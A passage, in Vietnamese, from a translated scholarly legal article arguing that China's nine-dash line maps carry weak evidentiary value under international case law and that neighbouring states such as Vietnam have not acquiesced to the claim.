thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của 